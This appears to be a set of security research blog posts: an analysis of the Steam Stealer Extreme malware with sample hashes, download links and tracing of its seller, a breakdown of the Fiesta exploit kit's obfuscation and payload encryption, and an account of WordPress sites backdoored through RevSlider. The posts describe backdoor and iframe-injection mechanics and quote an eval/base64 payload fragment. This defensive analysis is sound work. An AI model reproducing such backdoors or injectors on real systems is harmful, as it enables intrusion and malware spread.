Looking at this user’s inventory it doesn’t show a very big amount of items but it could be this is just a middle-man account used to trade the items further:

Another interesting thing from this profile is the comments it leaves on some other gamer’s profile:

The comment is pretty much the same message it spams around via the Steam chat 'Spam.SpamInFriendList’ function.

This sample stood out and appears to be a custom thing created by a criminal specifically for his needs. The other samples however did not match this sample, not only by size.

The Steam Stealer Extreme service

From the 14 samples I obtained the 'SteamDouble’ sample stood out of the bunch due to the size. The other 13 are all around 250kb in size.

Throwing any of the 250kb and bigger samples into ILSpy gives us the same decompilation structure:

This tells me its the same tool/stealer used in all of these samples. Looking at the function inside the decompiled code we see similar functionality as with the 'SteamDouble’ Stealer:

It can gather the Steam cookie, add items to be stolen, post comments (on profile pages) to spread and also has two functions indicating of a spreading mechanism towards friends (be it Steam chat or profile comments): 'SpreadToFriends’ and 'SpreadToFriendsUsingChat’.

Just by looking at these functions we get a clear picture of what the purpose is of this malware. The builder used for these samples does obfuscate some of the code which causes some trouble for the decompiler. Of course it can be fixed but seeing as the purpose of this thing is already clear I’m not going to waste time on cleaning all the samples.

The more interesting question here is what is 'Steam Stealer Extreme’. By simply googling for it you can find the 'sales’ website located at steamstealer[.]com, steamstealer[.]org and steamstealer[.]net. It has the title 'Steam Stealer Extreme’ which is marketed as 'Revolutionizing the Steam Item Stealing Industry’, erhm… yes.
An about section details some more information on 'the product’:

Steam Stealer Extreme is the new Steam Stealer completely custom coded (you can PM us and get some proof if you want!) and functions well. Steam Stealer Extreme is not like other steam stealers which is based off the same code as found on the Russian forum where it was leaked. It has extra features like filters (which are properly coded) and spreading your file via commenting on the client’s friends’ profiles * NEW * Spreads Via Chat! We’re a no bullshit product with little disadvantages. Our stealer does work and will work until Steam decide to patch the methods used. Steam Stealer Extreme is about getting the items you want and when you want.

They also have some video’s showing how it works on their YouTube channel: https://www.youtube.com/channel/UC7MjY8duE1xh-tTWpAsj_o

The site also contains an image of the 'builder’ for the stealer:

A list of features for the stealer:

Information on how to purchase 'Steam Stealer Extreme’, which is currently only available via Bitcoin payment:

And at the bottom there’s also some contact information:

Looking at the registration date of the website the .com, .org and .net websites for 'Steam Stealer Extreme’ were registered on 2014-11-16 and all hosted on a VPS owned by OVH France at 92.222.189.92.

The email address 'brynaldo8’ in the contact section from the site is 'brynaldo8@gmail.com’. Interestingly if you simply google for this email address you will find the following pastebin post which contains a database dump with the (hashed) password for 'LaPanthere’ which is the name this guy goes by:

(Originally located at: http://pastebin.com/QaeS2D17)

The 'LaPanthere’ guy also has a PasteBin account at http://pastebin.com/u/LaPanthere:

Combining 'LaPanthere’ and 'brynaldo8’ also shows a dump from a post by Brian Krebs about 'ragebooter’ being hacked. The dump also contains the user details of 'LaPanthere’ but with a hotmail.com email address instead of gmail.com:

(Original dump located at: http://krebsonsecurity.com/wp-content/uploads/2013/08/ragebooter.txt)

Finding this guy’s Steam profile is also easy, it actually matches the avatar from the PasteBin account. (Steam profile: http://steamcommunity.com/id/lapanthere):

This show’s 'LaPanthere’ is an Australian guy.

I won’t go any further into this person’s identity as I’m not here to make personal allegations against someone. All I am going to say about it is that this person is rather sloppy with what he’s leaving behind as a trail. Finding out 'LaPanthere’’s real identity is not that hard and only a few steps away from what I’ve shown.
I would expect a bit more from someone running a service like this, but keeping in mind his public profile(s) are on hackforums and leakforums it says enough :).

As for the 'Steam Stealer Extreme’ malware going around, just don’t start running everything being send to you via chat messages or comments. Would you have your items stolen send a message to the Valve support staff explaining your situation, they will be able to help you out.
Detection wise, Antivirus products are still somewhat behind on detecting this one properly but its getting there (slowly).

All the samples I’ve shown are available for download from Malwr, see the next section for details and links to all the files, enjoy!

Steam Stealer Extreme samples:

Note: These are not all the Steam Stealer Extreme samples out there. These are just the ones I found when focusing on find out what they were and where it came from back in November through December 2014.

File name: Cracked SSE Builder.exe
File size: 363.5 KB ( 372224 bytes )
First seen: 2014-11-25
MD5: 38569912bdd5e0f9d13d5e8b2c00800c
SHA1: f153bf9d850f396e30f507d526a7a365ef93bdfd
SHA256: 700c38b312e1404b5d488767e1f45171848af00d4232cf9c2338e76e7648eb59
ssdeep: 6144:ODrM4scvXCPGrLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxd:ODr/sGXoT/dEWP3GxtJw4Mp
VirusTotal:https://www.virustotal.com/en/file/700c38b312e1404b5d488767e1f45171848af00d4232cf9c2338e76e7648eb59/analysis/
Malwr (Downloadable sample):https://malwr.com/analysis/MWNkYWQwYmRjZGQ3NGUyNWJmZDY5ODA2YTgwOTQ3Nzc/

File name: CSGO Hack v1 - Coded by Empathy.exe
File size: 355.0 KB ( 363520 bytes )
First seen: 2014-12-03
MD5: 99fd0d39b96009cd17a343d36e3f6c75
SHA1: 107090152ec18240064b035181a7a5220b7152d0
SHA256: 7b660ed6ecbe98591802d6547f75f133434e92f45fa4bd5b4b4053f2975ba050
ssdeep: 6144:45oNxrSsfjLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxIkEFMa:4+NbC/dEWP3GxtJw4MfE
VirusTotal:https://www.virustotal.com/en/file/7b660ed6ecbe98591802d6547f75f133434e92f45fa4bd5b4b4053f2975ba050/analysis/
Malwr (Downloadable sample):https://malwr.com/analysis/YmEzYzBkOWNmYWIyNGEwZjgyOGYyMTdhMDljNGFjOGQ/

File name: CSGO Multi-Hack by LionHacks.exe
File size: 499.0 KB ( 510976 bytes )
First seen: 2014-11-26
MD5: b1b8915930cd72ef8fac0b449b13f966
SHA1: 040461f0a9b1be066158caa50a21ae9d58a07e89
SHA256: 3508518052ff500ac1d4e4e72dea79844b38660178f45c41ecfe47fc9abcc339
ssdeep: 6144:0ZQel9dgZgdLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxgL6ceixULxr9TBvctzF6WI:0ZQcdI1/dEWP3GxtJw4MApxuzkt0yij
VirusTotal:https://www.virustotal.com/en/file/3508518052ff500ac1d4e4e72dea79844b38660178f45c41ecfe47fc9abcc339/analysis/
Malwr (Downloadable sample):https://malwr.com/analysis/ZWM1NTcxYWYwOWIwNDhlZGEwNTdjNWQzMWJlNTA4NDI/

File name: CsgoSound.exe
File size: 282.2 KB ( 289002 bytes )
First seen: 2014-12-03
MD5: 4928ed30b0f9eee8078baa74dd0d7729
SHA1: 9b2689a6236d172499aa6019bf99c74dccb169e0
SHA256: 642a51ef3844cfe8389bf41b288ed42ce1c10998de142c5a4529929ed3d35e2c
ssdeep: 6144:L0fzV71SinbLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxwIkI:gzjS/dEWP3GxtJw4MEq
VirusTotal:https://www.virustotal.com/en/file/642a51ef3844cfe8389bf41b288ed42ce1c10998de142c5a4529929ed3d35e2c/analysis/
Malwr (Downloadable sample):https://malwr.com/analysis/NjFkY2Q2OGM4OTBiNDNlNjhjMmMzYTY3Nzg0NmM5MDI/

File name: Easy Trader.exe
File size: 445.0 KB ( 455680 bytes )
First seen: 2014-11-20
MD5: 4e29168df760a5577e61d0b6e9e05704
SHA1: 8f323230d114800d6aadc3dfa1abf045030ddc43
SHA256: b81fe9ec92388484fa5a8542aaa5f9206e50871f664158a3734d891b1e325147
ssdeep: 6144:uwAArfLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhx8mMbxuszfkOffcXF+cOr+9lPF:g/dEWP3GxtJw4MNMbxjdffgj
VirusTotal:https://www.virustotal.com/en/file/b81fe9ec92388484fa5a8542aaa5f9206e50871f664158a3734d891b1e325147/analysis/
Malwr (Downloadable sample):https://malwr.com/analysis/MjM4NWNmMWI2YTg3NDdiMTgxYjcwYWJiOTc0MGUxYWU/

File name: ESAntiCheat.exe
File size: 257.5 KB ( 263680 bytes )
First seen: 2014-11-25
MD5: 65a3f03dc222ae27cb38cf5ef737f92d
SHA1: ebc1c3e230afa07b40a49b037a3e349907e04fa0
SHA256: f3abc0a2eaf9128833722e6db6c7e34b7228345a983991ba165f5eecb59d5141
ssdeep: 6144:RTfzI+RCaduLCrLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhx:RTblEB3/dEWP3GxtJw4M
VirusTotal:https://www.virustotal.com/en/file/f3abc0a2eaf9128833722e6db6c7e34b7228345a983991ba165f5eecb59d5141/analysis/
Malwr (Downloadable sample):https://malwr.com/analysis/MzBiMDJlYmEwNTkwNDE0MDliMjdmNTdhMDcyZTRjOGE/

File name: HashChanger.exe
File size: 544.0 KB ( 557056 bytes )
First seen: 2014-11-23
MD5: 732f303f34afa01e16fe3fc67a4e88ee
SHA1: 7e26ddbf6e223ca17ffb9dd62831b5588ccd9b0d
SHA256: c5e77e7b716c52bdd674e21e921d6b4a0bf09f5fd8d019c5e9e1835045124b65
ssdeep: 12288:58srPC/lUx539N3dPysQvxcRy1uvdy2jZZJAmnI/v:51b4qTzFDQvx65w2ymI
VirusTotal:https://www.virustotal.com/en/file/c5e77e7b716c52bdd674e21e921d6b4a0bf09f5fd8d019c5e9e1835045124b65/analysis/
Malwr (Downloadable sample):https://malwr.com/analysis/MTllYWE2NzM4NWYwNGE1M2IyZDkxNjJmNjk2NjZmZmM/

File name: Knife Exploit.exe
File size: 444.0 KB ( 454656 bytes )
First seen: 2014-11-29
MD5: 22d1eb7f6536b3873318ef143b11982b
SHA1: 13514fcf49b5e40fbec16cff58ab328b70d1e9f0
SHA256: 87f9c7b0e3a00c3240be1a578c5340bd433182209df2ff8a9bae9f51f9c4d74a
ssdeep: 6144:dnylhPXVLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxl+WA1hzu8UYh:lyV0/dEWP3GxtJw4MR+Fr
VirusTotal:https://www.virustotal.com/en/file/87f9c7b0e3a00c3240be1a578c5340bd433182209df2ff8a9bae9f51f9c4d74a/analysis/
Malwr (Downloadable sample):https://malwr.com/analysis/YWIyMGY0OWZhNTUyNDVjY2EyYjgxNTE1MmEzNDgzNDg/

File name: SSBuilder.exe
File size: 619.0 KB ( 633856 bytes )
First seen: 2014-11-29
MD5: aad6c525784c7e9ede917c1d57fbf9fa
SHA1: ede0c60b18ce52b6e50f7d18c3eccb27109cf79c
SHA256: b2a1bfdc72a0b92b6ea510c98f2954ea94ecbab81eee13a7db379afb330c9d28
ssdeep: 6144:pXIa5sZuZTLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxD4rrDBUYyMDEwk:pr5ssM/dEWP3GxtJw4MC
VirusTotal:https://www.virustotal.com/en/file/b2a1bfdc72a0b92b6ea510c98f2954ea94ecbab81eee13a7db379afb330c9d28/analysis/
Malwr (Downloadable sample):https://malwr.com/analysis/NzgyYWNhN2I1ZjM4NGUwMDgzYTRkNjViNmYxYWMyOWI/

File name: SSE_Stealer_76561197960568995.exe
File size: 253.0 KB ( 259072 bytes )
First seen: 2014-11-21
MD5: 05738a9c72ecea220dd668068b0d4a12
SHA1: 9d77843aaf9372cfb27978dd6c1034f77325edac
SHA256: 3668b53bcb4f9031e585f58f01b638f2afe5e9e128a63994ee05e77a0f5e2ff4
ssdeep: 6144:tnFRpTJrYEYpsEzLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhx:tnFRpTJ1Y8/dEWP3GxtJw4M
VirusTotal:https://www.virustotal.com/en/file/3668b53bcb4f9031e585f58f01b638f2afe5e9e128a63994ee05e77a0f5e2ff4/analysis/
Malwr (Downloadable sample):https://malwr.com/analysis/ZTBhNjBjZjc5NWUxNDdiYTg3YzE2Yjc5YjlhNWE2MTc/

File name: Steam Inventory Stealer - Builder.exe
File size: 443.0 KB ( 453632 bytes )
First seen: 2014-11-21
MD5: 2f8b66e5ca6f4d569b05f7ebf9b41457
SHA1: b30351911491fcf8809c1e469c80f393c506ef1d
SHA256: 4f6c96c12f72fbf6095fd8484f985d244d61b2153644430736e2d854790e644a
ssdeep: 6144:v83x+y+eLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhx4MWwblGwsPtIGacnW:vx7/dEWP3GxtJw4McpgDsPrakW
VirusTotal:https://www.virustotal.com/en/file/4f6c96c12f72fbf6095fd8484f985d244d61b2153644430736e2d854790e644a/analysis/
Malwr (Downloadable sample):https://malwr.com/analysis/MTQzMGIzYWNhYWYyNGNlNGI3NGM3ZTk0MTQ5ODkxOGY/

File name: SteamTradeHacker-v.3.6.exe
File size: 257.0 KB ( 263168 bytes )
First seen: 2014-11-22
MD5: e834f7a3c508f24e29caf336e27d408d
SHA1: 8874a35610d391a493f21618a01d79976f6a2ba5
SHA256: 737d7ac17382252ce0f7bf185e54675d42568057c23917d58189c1b8c0065478
ssdeep: 6144:GYLZOFDdMbLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhx:5ZCp/dEWP3GxtJw4M
VirusTotal:https://www.virustotal.com/en/file/737d7ac17382252ce0f7bf185e54675d42568057c23917d58189c1b8c0065478/analysis/
Malwr (Downloadable sample):https://malwr.com/analysis/YjBmMGU5OWY2NTczNDZlNGIzYzE1MDYzYTAxY2ZjYjY/

File name: Stub.exe
File size: 354.5 KB ( 363008 bytes )
First seen: 2014-11-29
MD5: dc88276de2ad28c7af2578e7f691b285
SHA1: 17bd2037abcc9a248cfb3e991be3e6e73bcfad18
SHA256: 4016e2a60be405e610245db9a87c807354c51db557a49103520f69b280f338dc
ssdeep: 6144:DIqY6P0o2WU0dLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxtq4i3:cqYjocZ/dEWP3GxtJw4Mxq1
VirusTotal:https://www.virustotal.com/en/file/4016e2a60be405e610245db9a87c807354c51db557a49103520f69b280f338dc/analysis/
Malwr (Downloadable sample):https://malwr.com/analysis/N2YxZDU3M2M1YzdkNDIzOGE2Mjk3ZjQ0MGM3YjYwYjY/

A while ago I blogged about the Fiesta exploit kit, this was back in September 2013 [Fiesta Exploit Kit analysis serving MSIE exploit CVE-2013-2551] in this blog I focused on the integration of the MSIE exploit and parts of the landing page.

At that time payloads were not encrypted, you could just see them pass by on the network level and spot the PE header. Nowadays these guys are encrypting the payload transferred to a client after successful exploitation of a browser-plugin or the browser itself. In this blog entry I’ll go through the steps of how the Fiesta exploit kit works: how it redirects, exploits and infects clients. I’ll follow a Flash exploit, Java exploit and a PDF exploit to, in the end, be able to decrypt payloads.

Some weeks ago after encountering an infected client during work and not being able to automatically extract payloads from the network stream I decided to have a look at home. First step was infecting my virtual machine, luckily the redirect was still active. The redirect can be easily spotted on the index page of the site:

A small snippet was being injected in the main page just before the end of the page. A simple offset character scheme was used to obfuscate the snippet, decoding is simple:

The exploit kit is active on ‘znaaok.myftp.biz’ which at the time pointed to 92.63.87.16. Checking this IP in the VirusTotal passivedns database shows a lot of similar looking domains:

This specific campaign is active under no-ip DynamicDNS domains. All the used domains are quite shortlived and rotated often.

The landing page

Back to the analysis, the browser in the VM embeds the iframe in the page as per the JavaScript snippet indicated and gets exploited:

In this example the machine gets exploited with a Flash exploit, MD5 hash for the flash exploit: f77e25d5a04d8035d49a27d1b680e35d. At the time of submission it was only at 3 out of 57 antivirus products for detection on VirusTotal, rather low meaning its 'fresh’. Exploit kit controllers will rotate the flash exploit when it gets detected by AV engines to ensure 'FUD’ spreading, in this case 3 out of 57 is not 'FUD’ but close to it.

From the Fiddler requests we can determine the following:

76: Client lands on the landing page
80: Client downloads the flash exploit
81: Client downloads the payload after successful exploitation

Lets start at the start, the exploit kit landing page. When opening up the landing page in sublime I immediately recognized it from the 2013 one. Except for the random text at the top (which I removed a bit from to show the code) the obfuscator for the JavaScript has remained the same:

To deobfuscate the landing I take a few steps:

I search for the string Decrypter (which is how this obfuscation works)
I decrypt all the used functions and words
Inline replace all once used variables
Remove values that have been split into one (like var a = 'from’+ 'Char’ + 'Code’ kinda things)
Clean up the code (remove unused variables)
Give it proper names so it makes sense (obfuscator removes sensible names so we pick our own based on context)

The first part is finding the string decrypter. Because I have already looked at Fiesta in the past immediately spot it. It has been split into two separate calls with a wrapper function:

The interesting fact is that because the obfuscator of Fiesta didn’t change (as shown in the picture) the old string decrypter still works. The only thing that needs to be changed is the 'masterkey’ which you can see in the 'messop()’ wrapper function:

Now how does this string decrypter come together from the previously shown obfuscated code ? Simple, the top section of the decrypter function is in fact the (cleaned up) code from the 'bonyv()’ function and the bottom section of the decrypter function is the (cleaned up) code from the 'seam9j()’ function. I’ve cleaned it up a bit to give it sensible names of course.

We can now replace all the calls to the original wrapper function named 'messop()’ with the real string using the decrypter:

As you can see most of the declared variables at the beginning of the document are global variables. After decrypting all the strings in the landing page we can start inline replacing these global variables (meaning something referencing 'lintl’ will become 'window.document’ as an example, this makes the code much more readable).
After clean up, the landing page structure is clear; checks for plugins and such are now visible although the naming doesn’t make much sense (yet). After changing the names based on context of the page we get a nice and clear picture of what the landing page does:

As I did in my previous blogpost you can spot the used CVE’s just by comparing the version numbers being checked against known CVE’s for the checked plugin. This gives us a list of the following software being targeted by Fiesta in 2015:

Adobe Flash

CVE-2014-8439: Adobe Flash Player before 13.0.0.258 and 14.x and 15.x before 15.0.0.239 on Windows and OS X and before 11.2.202.424 on Linux, Adobe AIR before 15.0.0.293, Adobe AIR SDK before 15.0.0.302, and Adobe AIR SDK & Compiler before 15.0.0.302
CVE-2014-0497: Adobe Flash Player before 11.7.700.261 and 11.8.x through 12.0.x before 12.0.0.44 on Windows and Mac OS X, and before 11.2.202.336 on Linux

Adobe PDF

CVE-2010-0188: Adobe Reader and Acrobat 8.x before 8.2.1and 9.x before 9.3.1

Java

CVE-2012-0507: Java SE 7 Update 2 and earlier, 6 Update 30 and earlier, and 5.0 Update 33
CVE-2013-2465: Java SE 7 Update 21 and earlier, 6 Update 45 and earlier, and 5.0 Update 45 and earlier, and OpenJDK 7

Silverlight

CVE-2013-0074: Microsoft Silverlight 5, and 5 Developer Runtime, before 5.1.20125.0

Microsoft Internet Explorer

CVE-2013-2551: Microsoft Internet Explorer 6 through 11

Something interesting to note about the Fiesta exploit kit landing is that it completely focuses on Internet Explorer. The way the presence of Adobe PDF, Adobe Flash, Java plug-ins is detected means it will only work with Microsoft Internet Explorer. It uses the ActiveX controls for all the plug-ins which is specific for the Microsoft browser. The last CVE from the list, the one for Internet Explorer self is also accompanied with a check to see if the system is 64bit by looking for 'x64’ or 'Win64’ in the user-agent. This is most likely due to the ROP chain used in the MSIE exploit.

Based on this information it means that the Fiesta exploit kit will not work on any other browser besides Internet Explorer. (This is unless the landing page is regenerated per type of browser on the server-side but I haven’t seen it change).

Following the flash exploit landing page trail

From the network capture we were able to determine that my VM was exploited with a Flash exploit. By comparing the Flash exploit URL with those present on the landing page we can see that CVE-2014-8439 was used, this gives us a bit of a starting point.
This CVE was originally spotted by @kafeine who found it was a 0day at the time used by the Angler exploit kit, read his post about it here: [CVE-2014-0569 (Flash Player) integrating Exploit Kit] He had an analysis done together with F-Secure: [Out-of-Band Flash Player Update for CVE-2014-8439]

After decompiling the ActionScript from the exploit we get a relatively small piece of script (largest part is a static block of encrypted data at the end, not in the screenshot):

After cleaning up it makes some more sense:

The script in the screenshot is not complete, there is a function I’m not showing which is the 'LoadComplete’ function set as a listener on the complete of the 'loadBytes’ function. This function is really small and looks like this:

What happens here is that the stage 2 data is appended as a 'child’ of the root/main object, and stage 2 is in fact another flash file (hooray for obfuscation against detection…). Via the 'addChild’ function the stage 2 flash file will become active. After dumping the decrypted stage 2 data from memory we can spot the Flash file header, highlighted inside the red box:

Decompiling this Flash file gives us an ActionScript file of about 820 lines. I’m not going to go into the exploit itself in depth, if you want to know how the exploit exactly works there is a great article written by Chun Feng from Microsoft. His article: [An interesting case of CVE-2014-8439 exploit]

Basically the ActionScript from the screenshots is the 1st stage and only functions as a packer/loader for the actual exploit. In the 2nd stage the actual exploit is used to gain control of execution. To gain control of execution the garbage collector is abused. Inside the garbage collector there is a pointer to an ITelemetry object which is used by the garbage collector. Via a specially crafted ITelemetry object that has a crafted VTABLE control is gained of execution. The modified VTABLE for the ITelemetry, instead of pointing to the valid ITelemetry functions, points to the shellcode.
As said by Chun in his article, the control will be transfered to a set of ROP gadgets via the modified VTABLE entry for 'ITelemetry.IsActive()’, this function is called when a garbage collection occurs.

After decompiling the embedded flash file (stage 2) we get a single action script file. In the function called on initialization of this flash file we find something interesting. The code starts referencing one of the variables given to the flash file on the landing page and later calls some function with this variable’s data:

If we follow the function called with our landing page variable data called 'seatk’ we hit something that looks familiar from the initial landing page. Its the string decrypter function although slightly modified:

It seems the Fiesta actors made one encryption/obfuscation scheme work and applied it to different aspects of their exploit kit. The ActionScript version is slightly different in implementation (this is also because of the fact that a decompiler doesn’t bring back the original code) but it does have a similar structure as the other function.
The decoded data returned from this function is the shellcode which is combined with the ROP chain to infect the host.

Because this flash vulnerability (CVE-2014-8439) is quite recent and no POC is available I will not go into any details of the vulnerability (as I don’t want to explain how to (ab)use it). Maybe at a later date I can revise this blog but for now I won’t be handing out details of this one :).

We’ve already learned some things about the way Fiesta currently uses exploits:

Landing page parameters are used for shellcode / payload download information
The exploits have a layer of packaging against detection (which can be swapped/changed quickly to become 'FUD’)
The 3 stage exploit setup shows it to be a sort of framework in which individual pieces can be easily swapped out.

So, skipping from the Flash exploit let’s jump into something a bit more easily readable and known in terms of exploits: Java. I agree this is a bit of a jump and I’m not going to go all detail into the Java exploit starting from the landing page like with the Flash one. I’m just going after the payload decryption.

Jumping into Java based payload decryption

The Java exploit is a sample for CVE-2013-2465:

5c6c4a6a4c5adc49edabd21c0779c6e3

. We can also find it in the landing page, the 'JavaExploit_CVE20132465’ function shows the embedding of the Java applet.

Opening up the decompiled JAR file we get some slightly obfuscated Java code. One function jumps out as it seems to be dealing with execution of the downloaded payload, after cleaning up we get a clear picture of how the payload is downloaded:

First thing we can see at the top of the function is the fact that it seems the Java exploit for Fiesta seems to support download and execution of multiple payloads.

After downloading a payload the first 256 bytes are read, these actually contain the XOR key for the rest of the payload. We can actually spot the 256 bytes difference in size by looking at the payload dropped my virtual machine and the one downloaded over the line:

The important section of the shown Java code is the 'Decrypt’ function. Here a block of encrypted data is decrypted with the 256 byte XOR key. After deobfuscation it looks like this:

The first part uses two indeces which increment for every byte that is decrypted (and is masked with 0xFF to stay inside the 256 byte block for indexing). The values of the key located at the two indeces are swapped, summed and again masked to form the final key location for the XOR operation.

This XOR decryption is performed on the whole PE data retrieved which gives a clean binary. From the previous segment of code we can also see the payload filename on disc is numeric and based on the current time of the machine.

After converting the Java code to Python we can decrypt the payload easily, success:

Were done it seems, we can successfully decrypt the dropped payload for Fiesta. Lets try this on the payload from the flash exploit which we looked at earlier:

Seems it doesn’t work… Decrypting the payload for either Flash, Adobe PDF or Silverlight exploited machines gives the same failed results. It seems exploits which use shellcode based execution control, rather than the plain Java code, use a different encryption scheme, annoying. We can see that there’s a different size for the original 256 byte XOR block previously seen from the decrypted payload on disk and the payload transferred over the line for any shellcode based exploits:

We need to look at a shellcode based exploit. We’ve already had a look at the Flash exploit but stopped at the point of exploitation, followed a Java exploit and were able to decrypt this payload now its time to look at another type: Adobe PDF.

Diving into an Adobe PDF exploit

The sample for this one is: f4346a65ea040c1c40fac10afa9bd59d.

For PDF analysis I’ll grab peepdf a tool developed by a colleague of mine, Jose Miguel Esparza (I also have to thank him for helping in the shellcode analysis later on in this blog entry, thanks Jose!!). Lets open up the PDF and look at the initial information we get:

Peepdf tells us there’s an AcroForm and some JavaScript. If we take a look at the AcroForm we can see the Form actually uses the JavaScript, its invoked upon initialization. First follow the object relationships until we hit the form (XFA):

If you scroll down into the actual AcroForm script we can find the initialization setup and the actual (obfuscated) JavaScript for the exploit:

Lets clean up the code and get to the final 'stage’ where exploitation happens. In this piece of JavaScript a malicious image object is created with some shellcode in it:

Extracting the 'expl_imgdata’ value before assigning it to the image we can decode it (base64) and have a look at the shellcode. In this shellcode we find the actual decryption function and its completely the same as the one from the Java exploit, so what is happening ?
A bit before the 256 byte XOR key there are 16 (extra) bytes which hold information. In the shellcode the payload is downloaded, then the first 16 bytes are used to determine the actual payload size amongst others, these size values are XOR’d however. The first 4 bytes is a XOR key for the next 12 bytes. A visual explanation:

To decrypt this payload we can skip the first 16 bytes and it will be exactly the same as before… right? Well, there’s a bit more decrypted output data than expected, 25 bytes more to be precise. After these 'extra’ 25 bytes the normal MZ header begins and we get the valid PE. So what is in there ? More information needed to drop the file on the system! The data before the MZ header is the filename size, the filename on disc as well as the actual payload size:

By stripping this information we get a fully working PE file, finally we’ve decrypted the payload by Fiesta for all types of exploits! The fix for shellcode based exploits is to skip 16 bytes, remove the first 25 bytes of the decrypted output as well as the last byte of the decrypted output. The final output comes with one nullbyte extra at the end.

The decrypted sample from this run is 31af1a5656ce741889984e8e878c7836 you can download a copy of it from malwr [ here ].

To conclude this blog, I’ve written a Python script that decrypts any Fiesta payload extracted from network data, I’ve tested it against the last 10~ Fiesta EK hits published by Brad on malware-traffic-analysis.net and it works flawlessly! It takes two arguments, input filename (1st) and output filename (2nd). It will output valid PE files for shellcode based exploits as well as non shellcode based ones.

The script is available from Github, it is part of my tools repository:
https://github.com/0x3a/tools/blob/master/fiesta-payload-decrypter.py

Of course due to this publication and tools the guys from Fiesta might change their tactics, if the tool doesn’t work anymore let me know!

Hopefully you’ve enjoyed reading this rather lengthy blogpost, if there’s any question you know where to contact me ;)

Before starting this write-up I have to thank Thomas from CERT-Bund for sharing some of the intelligence he has on this.

For the past weeks a spike has been seen in the amount of WordPress websites embedding iframes to exploit kits; more than just Fiesta has been seen. There are thousands of websites currently embedding the iframes, from what little data I have which is only some 3000~ websites it is most likely just a small section of it all.

When visiting one of the affected websites a user is greeted with some extra inject HTML before the tags on the website which consists of an iframe:

This iframe is a gate towards (in many case) the Fiesta exploit kit, for a detailed writeup of Fiesta you can read my previous article which goes through all the steps from redirect to exploitation: An In-depth analysis of the Fiesta Exploit Kit: An infection in 2015.

Analysis

All the compromised websites are WordPress websites. This raises a question: “How did they get compromised with the HTML injection?”. WordPress itself has been quite stable for a while but the major problem with WordPress websites are the plug-ins that are installed. In the case of this campaign the websites have all been compromised via a plug-in called “RevSlider” which already got in the new previously regarding its vulnerability:

RevSlider Vulnerability Leads To Massive WordPress SoakSoak Compromise

Some administrators have also started to report on ‘strange’ things in a support thread on the WordPress support site: wp-admin page is white and blank. When you look at the screenshots the user added you can see that in fact it is the Fiesta exploit kit redirect active:

Investigation on one of the compromised sites shows the attackers performed the following steps:

RevSlider was abused to add an extra Administrator account
The attacker uploaded a script called 'smart.php’
Edited 3 files in the WordPress installation; 2 files inside other plugins were backdoored with a code execution backdoor and the WordPress 'nav-menu.php’ file was modified

First we’ll have a look at the smart.php file uploaded by the attackers. When opening it you are greeted with a lot of non-ascii in a blob with at the end some PHP code:

When you indent and pretify the PHP code for a bit you can work out how the things actually functions:

First it checks if a specific variable is set in the cookie or POST data send to the PHP file. When the data is present it does some dissection on it (with the for loop) using the compressed blob. It uses the result of this for execution. The problem is that the blob is used for indexing on the POST data which we don’t have sadly.

Time to move on to the other files; 2 files had added backdoors at the top of the PHP code. Let’s open one of them up (these were files from other plugins), one of these files is part of SimplePie and was found in /wp-includes/SimplePie/Cache.php. Opening the file it is already really clear what they did (no obfuscation or hiding):

At line 1 it just starts with a plaintext/non-obfuscated backdoor. With the ’pass’ parameter and a combination of the ’p1’ or ’p2’ parameter the backdoor will either execute directory or first base64 decode it before executing. The ’pass’ parameter seems to be hardcoded and I’ve pixelated because it might actually be static across all the other hacked websites. This exact same code is also present in /wp-includes/pomo/eentry.php as a 'backup’ backdoor basically.

The third file that was modified was /wp-includes/nav-menu.php. The modification is a little bit harder to spot as its in the middle of the file inbetween some other PHP code:

The preg_replace function allows for a regular expression search and replace, the ’/e'modifier actually makes it possible to evaluate the second argument as a PHP expression; meaning it executes the code in the second argument. The second argument from the backdoored nav-menu.php file is a long string which comes down to:

eval(gzinflate(base64_decode()));

When you decode and inflate the data blob you get the PHP script. The top part of it looks quite familair; its the same backdoor part we saw in the other files:

The second section becomes a bit more interesting, it builds up 2 variables, one to store the User-Agent used by the visiting clients and a URL:

The URL pattern takes a base64 encoded starting URL and appends the following data to the URL:

Webserver domain name
Client IP address
Client User-Agent (Base64 encoded)
Client Referer (Base64 encoded)

The full URL (without the domain, I pixelated a section of the base64 data):

/ordpm/v2/?export=7f53f8c6c730af6aeb52e66eb74d8507&url=50773&g=67&host=|compromised site|&ip=|client ip|&ua=|client user-agent|&ref=|client referer|

This client data is most likely used to make stats on the backend of this system. In the third section a check if performed to do a couple of things:

Make sure the ’echo’ variable isn’t set (this so it doesn’t inject the iframe multiple times)
Make sure the client does have a User-Agent
Make sure the client IP address doesn’t start with 74.125, this is a Google owned range; the full 74.125.0.0/16 in fact.
Make sure the User-Agent is not one of the internet crawlers (Like Google, Bing, Yandex, etc)

An interesting thing to note is the commented checks present in the code. The old code used to also perform checks to see if the client had a referrer and if it was running Internet Explorer as a browser. The Internet Explorer part is interesting as the Fiesta exploit kit only works on Internet explorer as explained in my previous entry. The PHP code performing these checks:

The last section is where the interesting part happens; it injects the iframe HTML code:

First it makes sure CURL is available, then it builds up curl object to perform a request with. Next it formats a request based on the full URL constructed earlier (with the client IP, User-Agent etc). It performs the request and stores the returned data. This return data is then decoded, its base64 encoded data, and printed to the page. This data is the iframe that is injected in the page, it comes from this backend after being requested by the webserver.

So to conclude; this is how the current campaign works:

They compromise WordPress websites running the vulnerable RevSlider plugin
When a client visits the website they inject HTML code obtained from the backend (The HTML is currently an iframe but it can be anything).

Some more examples of compromised sites (I’ve been tweeting a bunch of these sporadically of the past weeks):

Statistics & More information

The payloads that are dropped from the exploit kits are diverse. There are reports of Cryptowall 3.0 being dropped, some banking malware as well as ad fraud; it just depends who rents ’loads’ on these instances.

From the list of known compromised sites I was able to make some stats for TLD’s:

Besides that here are the affected country IP’s spread over the globe:

As you can see mostly the US is affected with hosted websites, the grey countries don’t host any affected websites. The top 10 countries:

United States
Netherlands
Germany
France
Spain
Great Britain
Italy
